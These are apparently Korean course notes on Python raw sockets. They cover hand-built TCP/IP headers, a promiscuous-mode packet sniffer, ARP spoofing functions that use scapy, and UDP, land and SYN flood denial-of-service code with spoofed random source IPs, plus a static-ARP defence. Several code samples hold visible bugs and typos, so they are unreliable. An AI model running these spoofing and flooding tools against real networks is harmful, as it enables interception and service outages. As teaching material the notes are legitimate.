원시 소켓 (Raw Socket)
표준 소켓 방식
→ 운영체제에서 TCP/IP 계층별 데이터 전송 단위와 헤더 구조 등을 자동으로 처리
→ 운영체제가 이미 정해진 방식에 따라 소켓을 생성 → 소켓 활용에 대한 유연성은 없다
새로운 프로토콜을 개발하거나, 패킷 스니퍼 등과 같은 정교한 응용 도구를 구현하는 경우
→ 원시 소켓 방식에 기반해야 한다
원시 소켓 방식
# 표준 소켓 방식에 따른 소켓 객체 생성
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 원시 소켓 방식에 따른 소켓 객체 생성
s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
Python
복사
# 표준 소켓 방식에 따른 소켓 객체 생성
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
# 원시 소켓 방식에 따른 소켓 객체 생성
s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
Python
복사
→ 원시 소켓 방식의 소켓 객체 생성
→ 원시 소켓 방식에서는 세 번째 매개 변수를 생략할 수 없다
setsockopt() 함수
•
원래 용도 → 소켓 객체를 종료하자마자, 해당 포트 번호를 재사용하도록 허용하겠다는 용도로 사용했다
•
원시 소켓 방식에서의 setsockopt() 함수
◦
사용자가 헤더에 접근하도록 허용하겠다는 용도로 사용
# 원래 용도 -> 소켓 객체를 종료하자마자, 해당 포트 번호를 재사용하도록 허용하겠다는 용도
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
####### 상위 계층 기반의 원시 소켓 생성 #######
# UDP 헤더뿐만 아니라, IP 헤더까지 사용자가 직접 생성하도록 허용하겠다는 의미
# 사용자가 직접 UDP 헤더와 IP 헤더를 생성하겠다는 의미
s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s2.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 사용자가 직접 ICMP 헤더와 IP 헤더를 생성하겠다는 의미
s3 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
s3.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
Python
복사
하위 계층 기반의 원시 소켓 생성
→ 이더넷 프레임까지 확장해 원시 소켓을 생성하는 경우
→ 일반적으로 수신을 구현하는 방식
→ 데이터 링크 계층에 기반해 들어오는 데이터를 상위 계층별로 복원할 경우 → 하위 걔층 기반의 원시 소켓 생성
→ LAN 카드의 속성까지 고려
# 유닉스, 리눅스에서 하위 계층 기반의 로우 소켓 생성
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
# socket.AF_INET -> 유닉스 리눅스 기준
# 0x0800 -> IP 패킷을 의미
Python
복사
UDP 헤더 직접 구현
source_port = 4321
destination_port = 22
length = 0
checksum = 0
udp_header = pack("!HHHH", source_port, destination_port, length, checksum)
Python
복사
TCP 헤더 직접 구현
from tabnanny import check
from numpy import source
import socket
source_port = 4321
destination_port = 22
sequence_number = 123
acknowledgment_number = 0
offset = 5
reserved = 0
offset = (offset << 4) + reserved
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
flags = (urg << 5) + (ack << 4) + (psh << 3) + (rst << 2) + (syn << 2) + (fin << 0)
window = socket.htons(5840)
checksum = 0
urgent_pointer = 0
tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, checksum, urgent_pointer)
Python
복사
가상 헤더 구현 (pseudo header)
import socket
ip_source = "127.0.0.1"
source_ip_address = socket.inet_aton(ip_source)
ip_destination = "127.0.0.1"
destination_ip_address = socket.inet_aton(ip_destination)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header)
pseudo_header = pack("!4s4sBBH", source_ip_address, destination_ip_address, placeholder, protocol, tcp_length)
pseudo_header = pseudo_header + tcp_header
tcp_checksum = checksum(pseudo_header)
# TCP 헤더에서 오류 검사 항목이 활성 상태인 경우 구현하는 방식
Python
복사
TCP 페이로드 | TCP 헤더 | 가상 헤더 | IP 헤더 |
TCP 헤더의 오류검사 항목이 비활성 상태
## TCP 헤더의 오류검사 항목이 비활성 상태
import socket
from struct import *
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#### Payload Data ####
tcp_payload_data = b"Python3 Raw Socket!"
#### TCP Header ####
source_port = 4321
destination_port = 22
sequence_number = 123
acknowledgment_number = 0
offset = 5
reserved = 0
offset = (offset << 4) + reserved
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
flags = (urg << 5) + (ack << 4) + (psh << 3) + (rst << 2) + (syn << 1) + (fin << 0)
window = socket.htons(5840)
checksum = 0
urgent_pointer = 0
tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, checksum, urgent_pointer)
#### IP Header ####
version = 4
header_length = 5
version_header_length = (version << 4) + header_length
tos = 0
total_length = 0
id = 4321
fragment_offset = 0
ttl = 255
protocol = socket.IPPROTO_TCP
header_checksum = 0
ip_source = "127.0.0.1"
source_ip_address = socket.inet_aton(ip_source)
ip_destination = "127.0.0.1"
destination_ip_address = socket.inet_aton(ip_destination)
ip_header = pack("!BBHHHBBH4s4s", version_header_length, tos, total_length, id, fragment_offset, ttl, header_checksum, source_ip_address, destination_ip_address)
#### IP Packet ####
ip_packet = tcp_payload_data + tcp_header + ip_header
print(s.sendto(ip_packet, (ip_destination, 0)))
Python
복사
TCP 헤더의 오류검사 항목이 활성 상태
import socket
from struct import *
def error_checksum(msg):
s = 0
for i in range(0, len(msg) , 2):
w = msg[i] + (msg[i + 1] << 8)
s = s + w
s = (s >> 16) + (s & 0xffff)
s = s + (s >> 6)
s = ~s & 0xfff
return s
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#### Payload Data ####
tcp_payload_data = b"Python3 Raw Socket!"
#### TCP Header ####
source_port = 4321
destination_port = 22
sequence_number = 123
acknowledgment_number = 0
offset = 5
reserved = 0
offset = (offset << 4) + reserved
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
flags = (urg << 5) + (ack << 4) + (psh << 3) + (rst << 2) + (syn << 1) + (fin << 0)
window = socket.htons(5840)
checksum = 0
urgent_pointer = 0
tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, checksum, urgent_pointer)
#### 오류 검사 적용 전 TCP 헤더 생성 ####
#### Pseudo Header ####
ip_source = "127.0.0.1"
source_ip_address = socket.inet_aton(ip_source)
ip_destination = "127.0.0.1"
destination_ip_address = socket.inet_aton(ip_destination)
placeholder = 0
protocol = socket.IPPROTO_TCP
length = len(tcp_header) + len(tcp_payload_data)
pseudo_header = pack("!4s4sBBH", source_ip_address, destination_ip_address, placeholder, protocol, length)
pseudo_header = tcp_payload_data + tcp_header + pseudo_header
tcp_checksum = error_checksum(pseudo_header)
print("TCP Checksum: ", tcp_checksum)
#### 오류 검사 계산 결과 ####
tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, tcp_checksum, urgent_pointer)
#### IP Header ####
version = 4
header_length = 5
version_header_length = (version << 4) + header_length
tos = 0
total_length = 0
id = 4321
fragment_offset = 0
ttl = 255
protocol = socket.IPPROTO_TCP
header_checksum = 0
ip_source = "127.0.0.1"
source_ip_address = socket.inet_aton(ip_source)
ip_destination = "127.0.0.1"
destination_ip_address = socket.inet_aton(ip_destination)
ip_header = pack("!BBHHHBBH4s4s", version_header_length, tos, total_length, id, fragment_offset, ttl, header_checksum, source_ip_address, destination_ip_address)
#### IP Packet ####
ip_packet = tcp_payload_data + tcp_header + ip_header
print(s.sendto(ip_packet, (ip_destination, 0)))
Python
복사
수신 관점에 따른 주요 헤더의 복원
하위 계층 기반의 원시 소켓 → 일반적으로 수신을 구현하는 방식
상위 계층 기반의 원시 소켓을 통해서도 수신을 구현할 수 있다
상위 계층 기반의 원시 소켓 생성을 통해 주요 헤더 복원
→ 패킷 스니핑을 구현하는 과정
unpack() 함수
•
pack() 함수와 달리
•
바이너리 문자열 타입을 10진수로 변경하는 기능을 수행
•
바이너리 문자열 타입 → 10진수
# IP 헤더(ip_header)에서 6번째 내용(ip_header[5])과 7번째 내용(ip_header[6])을 추출한다
ttl = ip_header[5]
protocol = ip_header[6]
Python
복사
# 수신인 경우
ip_source_address = socket.inet_ntoa(ip_header[8])
ip_destination_address = socket.inet_ntoa(ip_header[9])
Python
복사
→ 송신인 경우, inet_aton() 함수를 이용해, 10진수 형태의 IP 주소 문자열 → 네트워크(빅 엔디안) 방식
→ 수신인 경우, inet_ntoa() 함수를 이용해, 네트워크(빅 엔디안) 방식 → 10진수 형태의 IP 주소 문자열
→ 상위 계층 기반의 원시 소켓 방식 ⇒ 이더넷 헤더와 ARP 헤더를 복원할 수 없다
⇒ 하위 계층 기반의 원시 소켓 방식 필요
⇒ 하위 계층 기반은 물리 계층의 비트 단위에서부터 응용 계층의 메시지 단위까지 순차적으로 복원이 가능
⇒ (일반적인 복원 가정)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.ntohs(0x080))
Python
복사
binascii.hexlify() 함수
import binascii
# 바이너리와 아스키 사이의 변환을 위해 binascii 모듈 호출
binascii.hexlify(b"python3")
# b'70791729923e33', 바이너리 -> 아스키
binascii.unhexlify("70791729923e33")
# b'python3', 아스키 -> 바이너리
binascii.b2a_hex(b"python3")
# b'707974686f6e33', 비이너리 -> 아스키
binascii.a2b_hex("707974686f6e33")
# b'python', 아스키 -> 바이너리
Python
복사
TCP/IP 전송 계층에서 IP 헤더를 TCP 헤더로 복원하는 과정 _ 상위 계층 기반
import socket
import struct
import binascii
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
data = s.recv(65565)
#### Ethernet Header ####
ethernet_header = data[0:14]
ethernet_header = struct.unpack("!6s6s2s", ethernet_header)
destination_MAC_address = (binascii.hexlify(ethernet_header[0])).decode()
source_MAC_address = (binascii.hexlify(ethernet_header[1])).decode()
type = (binascii.hexlify(ethernet_header[2])).decode()
print("Destination MAC Address: ", destination_MAC_address)
print("Source MAC Address: ", source_MAC_address)
print("Type: ", type)
print()
#### IP Header ####
ip_header = data[14:34]
ip_header = struct.unpack("!BBHHHBBH4s4s", ip_header)
version_ip_header_length = ip_header[0]
version = version_ip_header_length >> 4
ip_header_length = version_ip_header_length & 0xF
ip_header_length = ip_header_length * 4
ttl = ip_header[5]
protocol = ip_header[6]
ip_source_address = socket.inet_ntoa(ip_header[8])
ip_destination_address = socket.inet_ntoa(ip_header[9])
print("IP Header")
print("Version: ", str(version))
print("IP Header Length: ", str(ip_header_length))
print("TTL: ", str(ttl))
print("Protocol: ", str(protocol))
print("Source IP Address: ", str(ip_source_address))
print("Destination IP Address: ", str(ip_destination_address))
print()
#### TCP Header ####
tcp_header = data[34:54]
tcp_header = struct.unpack("!HHLLBBHHH", tcp_header)
source_port = tcp_header[0]
destination_port = tcp_header[1]
sequence_number = tcp_header[2]
acknowledgment_number = tcp_header[3]
offset_reserved = tcp_header[4]
tcp_header_length = offset_reserved >> 4
window = tcp_header[5]
checksum = tcp_header[6]
urgent_pointer = tcp_header[7]
print("TCP Header")
print("Source Port Number: ", str(source_port))
print("Sequence Number: ", str(sequence_number))
print("Acknowledgment Number: ", str(acknowledgment_number))
print("TCP Header Length: ", str(tcp_header_length))
print("Window: ", str(window))
print("Checksum: ", str(checksum))
print("Urgent Pointer: ", str(urgent_pointer))
print()
#### TCP Payload ####
ethernet_header = 14
ip_header = 20
tcp_header = 20
header_size = ethernet_header + ip_header + tcp_header
payload_data_size = len(data) - header_size
tcp_payload_data = data[header_size:]
print("TCP Payload Data")
print("TCP Payload Data: ", str(tcp_payload_data))
print()
Python
복사
UDP_ 하위 계층 기반
import socket
import struct
import binascii
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
data = s.recv(65565)
#### Ethernet Header ####
ethernet_header = data[0:14]
ethernet_header = struct.unpack("!6s6s2s", ethernet_header)
destination_MAC_address = (binascii.hexlify(ethernet_header[0])).decode()
source_MAC_address = (binascii.hexlify(ethernet_header[1])).decode()
type = (binascii.hexlify(ethernet_header[2])).decode()
print("Destination MAC Address: ", destination_MAC_address)
print("Source MAC Address: ", source_MAC_address)
print("Type: ", type)
print()
#### IP Header ####
ip_header = data[14:34]
ip_header = struct.unpack("!BBHHHBBH4s4s", ip_header)
version_ip_header_length = ip_header[0]
version = version_ip_header_length >> 4
ip_header_length = version_ip_header_length & 0xF
ip_header_length = ip_header_length * 4
ttl = ip_header[5]
protocol = ip_header[6]
ip_source_address = socket.inet_ntoa(ip_header[8])
ip_destination_address = socket.inet_ntoa(ip_header[9])
print("IP Header")
print("Version: ", str(version))
print("IP Header Length: ", str(ip_header_length))
print("TTL: ", str(ttl))
print("Protocol: ", str(protocol))
print("Source IP Address: ", str(ip_source_address))
print("Destination IP Address: ", str(ip_destination_address))
print()
#### UDP Header ####
udp_header = data[34:42]
udp_header = struct.unpack("!HHHH", udp_header)
source_port = udp_header[0]
destination_port = udp_header[1]
length = udp_header[2]
checksum = udp_header[3]
#### UDP Payload ####
ethernet_header = 14
ip_header = 20
udp_header = 8
header_size = ethernet_header + ip_header + udp_header
payload_data_size = len(data) - header_size
UDP_payload_data = data[header_size:]
Python
복사
이더넷 헤더에서 ARP 헤더를 복원
#### ARP Header ####
arp_header = data[14:42]
arp_header = struct.unpack("!2s2s1s1s2s6s4s6s4s", arp_header)
hardware_type = (binascii.hexlify(arp_header[0])).decode()
hardware_type = (binascii.hexlify(arp_header[1])).decode()
hardware_type = (binascii.hexlify(arp_header[2])).decode()
hardware_type = (binascii.hexlify(arp_header[3])).decode()
op_code = (binascii.hexlify(arp_header[4])).decode()
source_MAC_address = (binascii.hexlify(arp_header[5])).decode()
source_ip_address = socket.inet_ntoa(arp_header[6])
destination_MAC_address = (binascii.hexlify(arp_header[7])).decode()
destination_ip_address = socket.inet_ntoa(arp_header[8])
Python
복사
→ OP Code가 0001과 같은 경우 ⇒ 브로드캐스트 방식에 의한 ARP 요청을 의미
→ OP Code가 0002과 같은 경우 ⇒ 유니캐스트 방식에 의한 ARP 요청을 의미
헤더 복원을 통한 패킷 스니핑 도구 구현
패킷 분석기 또는 패킷 스니핑 도구를 구현하기 위해서는
동작 속성을 이해해야 한다
→ 무작위 모드(Promiscuous) 는 소니핑과 관련해 아주 중요한 속성
무작위 모드 (Promiscuous Mode)
•
자기 LAN 카드의 MAC 주소와 프레임 헤더의 목적지 MAC 주소가 상이하더라도
•
LAN 카드가 해당 프레임을 수신하는 동작을 의미
→ 무작위 모드는 스니핑 도구를 구현할 때, 가장 먼저 숙지해야 할 내용
Flooding 동작을 보면
•
LAN 카드 ⇒ 일종의 필터 역할
•
또한 허브 장비를 이용한다고 무조건 송신자와 수신자의 데이터가 공격자에게 넘어가지 않는다
if 공격자가 LAN 카드를 무작위 모드로 변경한다면?
→ 무작위 모드가 주소가 상이하더라도 LAN 카드가 해당 프레임을 수신할 것이다
→ 스니핑이 가능..!
LAN 카드 → 무작위모드 변경 명령어
# 무작위모드로 변경
ifconfig eth0 promisc
# 무작위모드 중지
ifconfig eth0 -promisc
Shell
복사
UP BROADCAST RUNNING PROMISC MULTICAST
→ 무작위 모드로 동작한다는 의미
상위 계층 기반의 원시 소켓 방식에 따른 패킷 스니핑 도구
import os
import socket
from struct import *
# OS 모듈을 이용해 무작위 모드 실행
os.system("ifconfig eth0 promisc")
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
while True:
data = s.recv(65565)
#### IP Header ####
ip_header = data[0:20]
ip_header = unpack("!BBHHHBBH4s4s", ip_header)
# 수신한 데이터에서 20방이트 크기의 IP 헤더 복원
version_ip_header_length = ip_header[0]
version = version_ip_header_length >> 4
ip_header_length = version_ip_header_length & 0xF
ip_header_length = ip_header_length * 4
ttl = ip_header[5]
protocol = ip_header[6]
ip_source_address = socket.inet_ntoa(ip_header[8])
ip_destination_address = socket.inet_ntoa(ip_header[9])
print("IP Header")
print("Version: ", str(version))
print("IP Header Length: ", str(ip_header_length))
print("TTL: ", str(ttl))
print("Protocol: ", str(protocol))
print("Source IP Address: ", str(ip_source_address))
print("Destination IP Address: ", str(ip_destination_address))
print()
#### TCP Header ####
tcp_header = data[ip_header_length : ip_header_length + 20]
tcp_header = unpack("!HHLLBBHHH", tcp_header)
source_port = tcp_header[0]
destination_port = tcp_header[1]
sequence_number = tcp_header[2]
acknowledgment_number = tcp_header[3]
offset_reserved = tcp_header[4]
tcp_header_length = offset_reserved >> 4
window = tcp_header[5]
checksum = tcp_header[6]
urgent_pointer = tcp_header[7]
print("TCP Header")
print("Source Port Number: ", str(source_port))
print("Sequence Number: ", str(sequence_number))
print("Acknowledgment Number: ", str(acknowledgment_number))
print("TCP Header Length: ", str(tcp_header_length))
print("Window: ", str(window))
print("Checksum: ", str(checksum))
print("Urgent Pointer: ", str(urgent_pointer))
print()
#### TCP Payload ####
header_size = ip_header_length + (tcp_header_length * 4)
payload_data_size = len(data) - header_size
tcp_payload_data = data[header_size:]
# 수신한 데이터에서 20바이트 크기의 IP 헤더와, 20바이트 크기의 TCP 헤더를 제외한 나머지 부분이 TCP 페이로드에 해당
print("TCP Payload")
print("TCP Payload Data: ", str(tcp_payload_data))
print()
Python
복사
ARP 스푸핑 공격
→ 동일한 LAN 영역에서 라우터 MAC 주소 등을 조작하는 기법
→ 각종 스니핑 공격을 위한 전제로 수행하는 대표적인 중간자 개입 공격(MITM)
→ 공격 대상자의 패킷을 공격자가 받아서 라우터로 중계해주는 기법
→ 인터넷으로 향하는 공격 대상자의 패킷은
•
자신의 ARP 캐시 테이블에 올라온 맥 주소를 보고
•
해당 패킷을 라우터가 아닌, 공격자에게 보낸다
•
공격자는 이러한 패킷을 받으면 이것을 라우터에게 중계해준다
→ 물론 공격자의 ARP 캐시 테이블은 공격 대상자와 달리 정상적인 대응 관계이기 때문에
→ 이러한 중계 기능이 가능하다
~/socket# echo 1 > /proc/sys/net/ipv4/ip_forward
# -> 공격자의 중계 기능을 사용하기 위해 입력 필요
Shell
복사
→ 공격자가 공격 대상자의 패킷을 수신 받아 그대로 라우터에게 전달해 주겠다는 의미
→ ARP 스푸핑 공격은 공격자와 공격 대상자가 동일한 게이트웨이를 사용하는 경우 (동일한 LAN 환경에 속할 경우) 수행 가능한 공격
→ LAN 영역에서 상당히 위협적인 공격
하위 계층 기반의 원시 소켓 생성 방식 → ARP 스푸핑 도구 구현
→ scapy 모듈
⇒ ARP 스푸핑의 동작 자체가
→ IP 주소 이면의 실제 MAC 주소를 교묘하게 조작하는 것에 목적
→ 가장 먼저 요구되는 기능 → IP주소와 이에 대응되는 MAC 주소를 찾아내는 일
→ 그런만큼 IP 주소를 이용해 MAC을 찾아내는 기능을 반복적으로 사용하기 떄문에
→ 파이썬의 함수기능으로 구현해두면 필요할 때마다 호출해 사용
⇒ getMACaddr() 함수
# 주어진 IP 주소에서 그에 대응하는 MAC 주소를 얻는다
def getMACaddr(ip):
os.poopen("ping -c 1 %s" % ip)
fields = os.popen('grep "%s " /proc/net/arp' % ip).read().split()
if len(fields) == 6 and fields[3] != "00:00:00:00:00:00":
return fields[3]
else:
print("no response from " + ip)
Python
복사
grep → 현재 검색하기 희망하는 특정 IP에 대한 정보만을 추출하는 작업
poison() 함수
→ 실제 스푸핑 공격을 수행
def poison(routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
Python
복사
op = 1
•
ARP 요청 메시지로서 지금 송신자(psrc)가 특정 IP 주소(pdst)의 정보를 질의하는 것
op = 2
•
ARP 응답 메시지로서 특정 MAC 주소(hwsrc)와 대응되는 IP 주소(psrc)를 응답해 주는 것
restore() 함수
→ 후속 처리가 깔끔한 도구를 완성하기 위해서는 공격을 중단하고 원래 상태로 되돌려준다
# "ff:ff:ff:ff:ff:ff"를 목적지로 설정한 뒤 브로드캐스트 메시지를 보내면, 라우터가 응답해
# 올바르게 재설정해준다
def restore(routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=routerMAC), count=3)
Python
복사
→ ARP 스푸핑은 내부망 환경에서 상당히 치명적이다
→ 스푸핑으로부터 보호받기 위해서, 라우터의 IP 주소와 MAC 주소 간의 대응 관계를 정적(static)으로 설정하는 arp -s 옵션을 수행하는 것이 좋다
arp -s 192.168.0.1 00:08:9f:49:5d:45
Shell
복사
→ 그러면 스푸핑 공격이 시도되더라도, 값이 함부로 변경되지 않으므로 비교적 안전
→ 시스템이 재부팅될 때마다 프로파일에 의해 자동으로 실행되도록 설정 권장
서비스 거부 공격 도구의 구현
flooding 공격
→ 출발지 IP 주소를 수시로 변경하면서, 불필요한 데이터를 계속 전송해 상대방에게 인위적으로 과부화를 유발시키는 기법
→ 일반적으로 IP 스푸핑 기법과 결합해 수행
→ 공격 시, 다수의 좀비 시스템을 동원 ⇒ DDOS 공격이라고도 부름
→ 네트워크 공격 중 가장 파괴적이고 위력적
봇넷
→ 동원된 다수의 좀비 시스템
랜드 공격 → 네트워크 계층에 기반
→ IP 스푸핑 공격을 변형한 기법
→ 출발지 IP 주소를 목적지 IP 주소와 동일하게 설정한 뒤, ICMP 요청 패킷 등을 공격 대상자에게 전송
→ 인위적인 과부화를 유발케 하는 네트워크 계층의 플러딩 공격
from scapy.all import *
for x in range(1, 100):
send(i/t)
# 함수를 이용해 패킷을 100회 전송
Python
복사
UDP/TCP 플러딩 공격 → 전송 계층에 기반
→ UDP 패킷에는 출발지 IP 주소 항목이 있지만, 프로토콜 설계 특성상
→ 비연결 지향이기 때문에,
→ 해당 주소의 정확성 여부를 검증하지 않는다
→ 이러한 점을 악용 → 공격자는 UDP 또는 ICMP 패킷을 다량으로 전송하면서,
→ 마치 다른 사용자로부터 출발한 패킷처럼 조작할 수 있다
→ 서버는 자신이 운용 가능한 네트워크 대역폭이 제한적일 수밖에 없으므로,
→ 일정 정도의 임계치를 초과하면, 해당 서비스가 잠식
→ 다른 정상적인 접속 요청을 처리 못한다
while True:
if time.time() > timeout: # 10초 초과시 종료
break
else:
pass
client.sendto(bytes, (ip, port))
# 생성한 임의 패킷을 해당 IP와 포트 번호에 전송
sent = sent + 1
Python
복사
TCP 플러딩 공격 or SYN 플러딩 공격
→ 서버의 자원을 인위적으로 소모시키는 기법
•
UDP와의 차이점
◦
TCP 플러딩 공격은 3단계 연결 설정 속성을 악용한다는 점
◦
매 순간 공격 대상자에게 출발지 IP 주소를 조작하면서,
◦
대량의 SYN 플래그를 쏟아 부으면
◦
공격 대상자는 어느 순간 과부하 상태에 빠진다
→ 파괴력을 높이기 위해 흔히, TCP 플러딩 공격 수행시 봇넷을 이용
# 임의의 출발지 IP 주소를 생성하는 함수
def randomIP():
ip = ".",join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
# 방화벽의 탐지 설정을 교란시키기 위해 무작위의 숫자를 추출하는 함수
def randInt():
x = random.randint(1000, 9000)
return x
# 조작된 패킷을 생성하는 함수
def SYN_Flood(dstIP, dstPort, counter):
total = 0
print("Packets are sending...")
for x in range(0, counter):
s_port = randInt() # 포트 번호를 무작위로 설정
s_eq = randInt() # 일련 번호를 무작위로 설정
w_indow = randInt() # 윈도우 크기를 무작위로 설정
IP_Packet = IP()
IP_Packet.src = randomIP() # 임의의 출발지 IP 주소를 생성
IP_Packet.dst = dsIP # 지정된 목적지 IP 주소를 공격 대상으로 설정
TCP_Packet = TCP()
TCP_Packet.sport = s_port # 생성한 포트 번호를 사용
TCP_Packet.dport = dstPort # 지정된 목적지 포트 번호를 사용
TCP_Packet.flags = "S" # SYN 플래그 생성
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet / TCP_Packet, verbose=0) # TCP 패킷 전송
total = total + 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def main(): # 조작된 패킷을 생성하고 전송하는 함수
dstIP = "127.0.0.1" # 공격 대상 IP 주소
dstPort = 4321 # 공격 대상 포트 번호
counter = 50 # TCP 플러딩 공격 횟수 지정
SYN_Flood(dstIP, int(dstPort), int(counter))
main()
Python
복사
슬로우로리스 공격 → 응용 계층
→ 웹 서비스에서 일어나는 플러딩 공격 중 가장 파괴적
→ 좀비 시스템이 없어도 상당한 효과
python3
•
OS 모듈
#OS module
import os
os.getcwd() - 현재 폴더의 위치
os.listdir(’. ‘) → 지정된 경로의 모든 파일들을 리스트 형태로
os.listdir(’/etc’) - etc 폴더 안의 모든 파일들을 리스트로
os.getpid() → 돌고 있는 get 프로그램의 pid를 알 수 있다
os.getppid() → 부모 프로세스의 id를 알 수 있다
os.ctermid() → 원격 접속 했을 때, 디바이스가 뭔지
cd / etc / services
→ 네트워크 서비스에 대한 정보가 있다 ([서비스 name : 해당하는 port Num])
python3
import socket
•
기능들
socket.getservbyname(’ssh’, ‘tcp’) → 서비스 포트 넘버를 모를 때, ssh 라는 서비스의 포트 넘버를 출력
socket.getservbyport(22) → 포트 넘버(22)는 아는데, 서비스 이름을 모를 때
socket.gethostname() → 호스트 네임 가져올 수 있다
socket.gethostbyname(socket.gethostname()) → ip 주소 출력
socket.gethostbyname(’naver.com’) → 도메인 서버의 ip 주소를 받아온다
struct module
BigE - 배열을 순서대로 메모리에 input (Network Byte
•
Sparc, RISC
LittE - 배열을 역순으로 메모리에 input
•
intel
import struct
struct.pack(’>h’, 1)
struct.pack(’>2h’, 1, 2) → 2개의 short 값을 가지는 걸루
struct.pack(’!4h’, 1 ,2 ,3 ,4)
struct.pack(’<h’, 1)
struct.pack(’<4h’, 1, 2, 3, 4)
pack = struct.pack(’!4h’, 128, 350, 120, 123)
pack
struct.unpack(’!4h’, pack) → 바이트 코드에 있는 것들을 튜플로 나타냄
socket.inet_aton(’127.0.0.1’) → 문자열을 가지고 빅엔디안의 바이트로 만들어줌
struct.unpack(’!i’, socket.inet_aton(’127.0.0.1’)) → 다시 정수값으로
k = struct.unpack(’!i’, socket.inet_aton(’127.0.0.1’)) → 다시 정수값으로
hex(k[0]) →16진수로
socket.inet_ntoa(struct.pack(’!i’, #k값))
→ 그러면 ‘127.0.0.1’ 출력된다
y = 0x00ff → 10진수로 255
socket.htons(y) → 65280 출력
hex(65280) → ‘0xff00’ 출력 (뒤집어줌)
socket.ntohs(65280) →255 출력
x = ‘yu cse’
type(x) → 문자열 타입
z = b’yu cse’
z
type(z) → bytes 타입
x = ‘영남대학교’
z=b’영남대학교' → 에러 (한글 못 받아들인다)
x = ‘yu cse’
x.encode() → 문자열을 바이트 타입의 코드로 바꿔준다
z = b‘yu cse’
z.decode() → ‘yu cse’ 출력
import nmap
nm = nmap.PortScanner()
nm.scan('127.0.01', '22')
# 딕셔너리 형태로 반환
nm.csv()
# 스캔한 결과를 csv 파일형태로 받아봄
nm.all_hosts()
# nmap이 가지고 있는 host에 대한 이름
nm['127.0.0.1'].hostname()
# hostname 호출
nm['127.0.0.1'].state()
# 살아있나(up) 죽었나(down)?
nm['127.0.0.1'].all_protocols()
Python
복사